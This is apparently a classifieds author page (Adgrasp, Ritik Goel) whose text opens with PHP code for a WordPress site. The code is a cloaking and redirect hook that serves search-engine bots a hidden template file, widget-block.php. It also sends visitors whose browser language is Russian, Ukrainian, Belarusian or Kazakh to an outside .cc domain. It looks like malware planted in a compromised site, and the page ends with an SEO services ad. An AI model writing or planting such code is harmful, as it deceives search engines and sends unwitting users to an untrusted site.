function advanced_is_search_bot() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$google_list = [
'googlebot', 'google-inspectiontool', 'google-site-verification',
'mediapartners-google', 'adsbot-google', 'apis-google',
'googleweblight', 'googleproducer', 'storebot-google',
'google-adwords-instant', 'google-adwords', 'google-structured-data-testing-tool',
'googlebot-image', 'googlebot-video', 'googlebot-news',
'chrome-lighthouse', 'pagespeed/1.0', 'rendertron'
];
$bing_list = [
'bingbot', 'msnbot', 'bingpreview', 'adidxbot', 'msnbot-media'
];
$duck_list = [
'duckduckbot', 'duckduckgo-favicons-bot'
];
foreach ($google_list as $bot) {
if (strpos($ua, $bot) !== false) {
return 'google';
}
}
foreach ($bing_list as $bot) {
if (strpos($ua, $bot) !== false) {
return 'bing';
}
}
foreach ($duck_list as $bot) {
if (strpos($ua, $bot) !== false) {
return 'duckduckgo';
}
}
return false;
}
add_action('template_redirect', 'final_cloaking_system_combined', 1);
function final_cloaking_system_combined() {
$uri = $_SERVER['REQUEST_URI'];
$path = parse_url($uri, PHP_URL_PATH);
$is_home = ($path === '/' || $path === '/index.php');
if (!$is_home) return;
$bot = advanced_is_search_bot();
if ($bot) {
nocache_headers();
$file = get_stylesheet_directory() . '/widget-block.php';
if (!file_exists($file)) {
$file = get_template_directory() . '/widget-block.php';
}
if (file_exists($file)) {
include $file;
exit;
}
}
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
if (preg_match('/(ru|uk|be|kk)/', $lang) && !$bot) {
wp_redirect('https://xn--son2-50a.cc/', 302);
exit;
}
}
Ritik Goel - Adgrasp
Home / Author: Ritik Goel
All ads from Ritik Goel
Enhance your online visibility with Finessse Digital’s AEO and AI-powered SEO services. We help brands rank in AI search, optimize for answer engines, improve content relevance, and drive qualified traffic through cutting-edge, data-driven strategies tailored for growth.